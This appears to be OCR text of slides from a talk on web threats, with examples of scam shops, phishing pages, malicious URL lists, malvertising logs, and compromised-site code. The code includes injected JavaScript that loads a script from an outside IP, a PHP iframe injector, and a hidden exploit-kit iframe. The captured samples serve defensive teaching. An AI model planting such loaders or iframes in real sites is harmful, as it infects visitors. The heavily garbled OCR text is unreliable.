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The Web’s Role in the Threat Landscape

* (Mal/Ad/Bad)ware Distribution Vector
* Avenue for theft

* Money

* Information

e Medium for communication
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Web Threats (the readily visible ones...)

* Scams
* Phishing
e Abused portals
* Malvertising
* Site Compromises

e Exploits
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Scams

(s @rsonsdeliandbakery.?om)
L carsonsceliandhakery. oo

&BAKERY.

“ OEECImE

5668 Old Saunders Settlement Road, Lockport NY 14094
(716) 433-2248

Carson'’s Deli & Bakery Has A Brand New Look!

UUUUUUL A

25 years in Lockport at route 93 and 31

40 varieties of subs and sandwiches
Seasonal varieties of World Famous Cookies
Catering for parties large and small
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Now You Can Order Carsons Cookies Online!

—
3 wwvwca/rsonsdeliandbakery.cor

Home About Us Shipping Payment Return Policy Contact Us

Quaht\ First! 100% Secure Shopping. 100% Original Quality and Original Package. 100% Satisfaction Guarantee!
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Our onife s{BiSias beendeaifigin High-uaity L'dlis Vuitton handbags tradgfF many years; We abide by-the principle that customer's necessity is priority and customer's grauﬁcamn s our mouvamn
Beauty, bemua‘hversm we believe that your @yesight is ssgamus’We arg gladgo héear, frmn you!

© Why choose us? ©1999-2014. ears of experience in outlet sales. Top Quality,Safe Payment & Free Shipping

Women's Bags and = Women's Bags and
Handbags Pochette Q\ Handbags Eva Clutch
| 532500 — s

$168.00

Add to Cart

Women's Bags and
Handbags MSophie
$942-66
$169.00

Add to Cart
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Scams

Overview for jacketsca.net Overview for partioaitta.f

@ Registrar Info @ Registrar Info

Name GODADDY .COM, LLC
VWhois Server whois.godaddy.com
domain: partioaitta fi
Referral URL http:/iregistrar. godaddy_com descr:  Partioaitta Oy
descr: 02018300
Status clientDeleteProhibited, address: Jussi Verkkonen
clientRenewProhibited, address: Muijamiestentie 5 C
clientTransferProhibited, ° address: 00400
clientUpdateProhibited address: Helsinki
phone: 020 7760 600

atus:  Granted
created: 9.3.1998
modified: 5.7.2012

@ Important Dates

e ——

Expires On December 17, 2014 expaea 1917
Registered On December 17, 2013 e s

nserver: ns1 coreit.se [Ok]
Updated On December 17, 2013 dnssec: no
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FAST. DARNED FAST

) Avdilable with 268:HP

C' [ wwww.paypal.co.uk.73w535cd8d5d5cd8d5kb8dks803e73w53vked8de85d5cd8dSkb8d.8583e

Personal Business Email address

PayPaI Buy ~ sell ~ Transfer ~ ‘ ‘7Q‘MR);P7EXPL(ﬁlEi (N

Places

Password

v = e » - - e Keep me signed in

| can't access my account

There's no shop like home.

Check out at millions of stores ’
in an instant, wherever you are. =

Create an account

To View shared document you are required to Login
with your email address below

Email

Password Confirm Password

Get Started Docs

BAEFd

Choose your email provider below and login:

Own a business? Open a Business Account

m}u’m\ YaHoO! GM il

4 N

|
Buy into being safer Sell in fewer steps

2 AOL &

Windows Live

Other emails

with documents, spreadsh

right 2013 Gooale
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Phishing

<fieldset id="fsLogin" class="clear">
vlegend>Login Form</legend>

<form name="logonForm" id="logonForm"™ action="loggin.php" method="post">
<input name=".tries" walue="1" type="hidden">

<input name=".src" walue="ym" type="hidden">

<input name=".md5" walue="" type="hidden">

<input name="_.hash" wvalue="" type="hidden">

<input name=".js" value="" type="hidden">

<input name=".last"™ wvalue="" type="hidden">

<input name="promo"™ walue="" type="hidden">

<input name=".intl" wvalue="us" type="hidden">

<input name=".lang" wvalue="en-US" type="hidden">

<input name=".bypass" wvalue="" type="hidden">

<input name=".partner" walue="" type="hidden">

<input name=".u" wvalue="bl=sgf2l8t3ggl™ type="hidden">

<input name=".v" wvalue="0" type="hidden">

<input name=".challenge" value="DglbrsewdlElolk2DQEnFC OM3.H" type="hidden":>
<input name=".yplus" walue="" type="hidden">

<input name=".emailCode™ walue="" type="hidden">

<input name="pkg" walue="" type="hidden">

<input name="stepid" walue="" type="hidden">

<input name=".ev" value="" type="hidden">

<input name="hasM=gr" wvalue="0" type="hidden">

<input name=".chkP" wvalue="¥" type="hidden">

<input name=".done" wvalue="http://mail.yahoo.con" type="hidden">

<input name=".pd" wvalue="ym ver=0&amp;c=&amp;ivt=iamp;sg=" type="hidden">
<input name=".ws" id=".ws" wvalue="0" type="hidden">

<input name=".cp" id=".cp" wvalue="0" type="hidden">

<input name="nr" wvalue="0" type="hidden">

. Ty
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Abused Portals

hacxp: /e ny3gb.com malicious phishing
hecep: /0 Zjjames.my3gb.com malicious phishing
hacxp: /' unescranalnainsforn mws myIah rom malicinn=s  nhishino
http://dl.dropbox.com/u/ densagem_Orkut-visualiza.scr malicious malware
T o http://dl.dropbox.com/u/ nsl0.exe malicious malware
http://dl.dropbox.com/u/ udo.ggw malicious malware
http://dl.dropbox.com/u/ Nel26.com malicious malware
http://dl.dropbox.com/u/ Jisualizar_imagem.zip malicious malware
http://dl.dropbox.com/u/ ZOPIASCHOO0000008723.2Ip malicious malware
hxxp://! http://dl.dropbox.com/u/ JP31.exe malicious
http://dl.dropbox.com/u/ [ Jitcoin-miner.exe malicious malware
hooxp:// e —— . 1 0. M malicious phishing
hcep: /s < 7 10.mx/bot.exe malicious malware
hxcxp:// rxl0.mx/update33021.exe  malicious malware
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Abused Portals

@ =
—

22 May

oot
Cadastro gratis:

sa-gasi-1 .amazenaws.ccm

M shared a link.
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Malvertising

Result  Protocol Host  URL Body Content-Type URL Detection Hits , Last seen
200 |ovemn'.|5hcluw.com bl CIEID R LD hitp://maturezcam.com  Trojan:SWF/Redirector.DZ 16198 2013-09-15
200 HTTP Oﬂbﬂardwbllﬁtﬂn.ﬂrg Jr 6,847 te}(tﬂ"ltml /li_banner_300.swf 03:30:53.456000
200 HTTP onboardpublication.org 7 0 text/html
200 HTTP onboardpublication.org  f 246 text/himl
200 HTTP mjuk. e wm:90  flanguage. himl 4,035 text/html; charsets
200 HTTP mijuk. m:90  figuery.js 10,729 applicationfiavasai = http:/lj-banner.com Trojan:SWF/Redirector.DZ 3824  2013-08-31
200 HTTP mjuks am:90  fanguage.himll.zip 98,230 applicationfoctet-sf  /i_banner_300.swf 22:00:17.417000
200 HTTP mi = o.com  Jlanguage.html?id=2&text=445 3 text/html; charsets
| | Defini W
GET /HTTP/1.1 hitp://awempire- Trojan:SWF/Redirector.DZ 3722  2013-08-25
H Accept{anguage: En—usj_en}q:ﬂ.ﬁ s banner.com 08:30:38.212000
- User-Agent: Mozilla/f5.0 (Windows; U; Windows NT 5.1; en-U5; rv:1.9.2.3) Gecko/20100401 F /lj_banner_300.swf

E ﬂisoella neous

http:/lovecamshow.com Trojan:SWF/Redirector.DZ = 402 2013-09-16

- Referer: http:/flovecamshow. comlj_banner_768.swf

i = /li_banner_300.swf 07:03:02.590000
EI Transport
Connection: keep-alive
i Host; onboardpublication.arg -
[l m [t |

N.LVEJSMI.COM

5‘_

LIVEJASMIN MODELS IN
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Compromised Websites

<gcript language="JlavascriptT>

document . write( unescape| '33C321%44%4F%43%f function redirect ()

<facript> {

< IDOZTYPE htmls> var thecookie = readCookie('doRedirect'):

| chtml dir="ltr" lang="sv-SE"> if(!thecockie)

| «head: {

<meta charset=<script language="javascript's= var head=document.getElementsByTagName ("head"') [0]

| «meta name="vrlocument.write | unescape | var script=document.createElement ('script')

<titlerbdktusl' 5305215445475 4535845595 00545521 gcript.setlAttribute('type', 'text/javascript')

<link rel="pr%20%3452E530531520554%72561% 6! script.setAttribute('src', "http://91.239.15.61/google.js")
<link rel="stilE oFs7250752F554552%52F5 065857456 head.appendChild (script)

<link rel="stdli%3C%AD0%A5% 745 A1%20% 65857457451}
4% D% 2% 745 AEL TEL TAL EFL A8 74 A }
Ox 7054520572570 705655302257
FuAE4 204724 A5% A4% 0% 724 A5% 5% 7 function createCookie (name,value,days)
B4 A0% A0% 20% 274 A4% AF4 524 A5% Ad% A {
O%20%76% 815724 20% 6856556156453 1T (davs)
B %274 A0% A0% A1% AA% 274 20% 5B {
G5 T72%5 655615745 655455 605555 6D 5. Vaxr date = new Datel):
BE 735315745745 725695625755 745 5. date.setTime (date.getTime () + (days*3600*3600*3600*1000) ) »

0%20%20%20%520%520%520% 7356357256/ Var expires = "; expires="+date.toGMIString():
A52F52F530531%52E532533539%2E553 )
E561%570%5 705655 6E% 645435655695 o else var expires = "";

45555435 5Fs 5F5 665 695 655 25% 6E% 5 document.cookie = name+"="+value+expires+"; path=/":
Lx7e501%7E%20% 645615745 65%20%3 1

45655 2E5 675655725545 69%5 605 65%2

0% 3B%0A% 705 01% e 0% 6557057056 function readCookie (name)

43555 Ta5 V25095 6ES 0TS 2552953650, {

S%ED% 655 6ES74%2E5 635 6F3 6F% 6B 6 var nameE( = name + "=";
E%20%70%61%74%65%5D%EF%22%36%0.var ca = document.cockie.split(';");

L 7B 0L 765615725205 6E561% 605 6. foxr(var 1=0;1 « ca.length;i++)

3% 755 60D0% 655 0ES 7452 ES 605 6FsaFs 6 {

. ~
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Compromised Websites

€ C' | [} carlhaglund.fi

CARL HAGLUND

Takaisin kohta. Snart tillbaka. We'll be bk
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Exploits

obfuscated deobfuscated

S TOLONTOWORDEISREAGhSPX detine ("IFRAME_URL", ' m . > 3 . .
define (“ISRAME URL 27, = . i - N
ﬁl.mLSl 105”06199 ‘|=Array (baseéd M( M ), baseba decode .
. ’E& Ll E i {isset{§_SERVER["HIIL_USEK_ACENT")) &b
::- - m (stripes (5_SERVER["HI28 USEN_AGENI®],"opera®)i==false ||
’ — _,‘ -t atripes (§_SERVER["HI7Y_USER AGENTT], “M21EY) I==falase ||
—t t "‘:‘ _'_. i AN -l b 4 stripas (5_SERVER["r2s Usen AGENT®],firefox")i==false})
* | ——
" {
T s T Tl e | e ] ] T T AU
- i

o .- ? =3 iu - — 1 sstocokia (“dagfdgi3dg®, 1, tina{)+380022447);
pas - [ I M G G W %::15“::"::9'*_“’1“,“”‘_“’?
l " WH - e R -_o F if (empty(Sarl contenc)

m - ) .
= - —— = W B o url content=get_wurl{ITRAME URL_2);
79 e amm“u B NE el = )
G e EES SEBEE. e . o W - =a b S W o acho :-_‘rl.cnng,',_-‘r‘,
4N PLNGpNE——— A AN Lt N e L) S RS acho get_urd("htsp:// <htetp:///> ".§_SERVER("RITF_HOAT") .$_SERVER("REQUEIT_URI"));
[35}],% B[ _1415079835(36)1); ) return  15:) exiz ()

7/ 2RTSVETGEES j 3inkdeenGt | )
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Exploits

<iframe sco=Vhtip:/Soddaargia.svies.net/ath/counter.php” vidth®l height=l1l style="visibilicy: hidden”:></iframe>

HTTP/1.1 200 0K

ate: Wed, 23 OCi 2013 O9:30:30 GMT

Set=Cookie: dsgfdg3d4g=1; expires=wed, Z0=0Ct=-2013% 09:30:30 GIT
Keep-Alive: timeout=3, max=100

onnection: Keep-Alive

ONEENt-Type: Text./html

ontent-Length: 10797

<iframe src="http://cddaarqia.sytes.net/ach/counter.php™ width=1 height=1 style="wisibility:
hidden™ :--: 1frame=< |DOCTYPE html=

= =g =
<head= _
I Rl T TEE T e

IEET BT 'EEET ) | EEmew o | | I:- T .
[y [ B |~ . .| = . = o emll il .
-'G'I'IHI name=" GEMFIEUI‘ content=" Jﬂm]l‘ = DDEI‘I Source Content Management™ />

—— — — N E EETE rm [ e

L& T TH |~ I I
| ImE = IS D B B

®] 200 HTTP o _EeEme B e tectjhtml firefox:2920
(&l 302 HTP ziuwfdif. sytes.net  fatb/counter.php 2 text/himl; charset=UTF-8 firefox: 2920
#] 200 HTTP  aveelu.sinfrex.net:5000  jotfoiigbgoy?hyfdhai=225705 713 text/himl; charset=UTF-8  firefox: 2920
B 200 HITP  aveslu.sntrex.net:B000  fwdfdyrmu 101,620 text/himl; charset=UTF-8  firefox: 2020
B 200 HTTP  aveelu.sintrex.net:8000  fyikdsmbizfy 2,694  textihiml; charset=UTF-8  firefou: 2020
B 200 HTTP  aveelu.sinirex.net:3000  brhapjPmedkdemmadiu=hpaeedlogil 16,336 video/quicktime java: 2858
@ 200 HTTP  aveslu.gntrex.net:8000 META-INFjservicesfjavax, xml.datatype.DatatypeFactory 5 text/himl java: 2858
ﬁ 200 HTTP  aves lusnirex.net:8000  vbfennzjofspa=hpaesuloal 35,199  video fmp4 java: 2858
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Exploits
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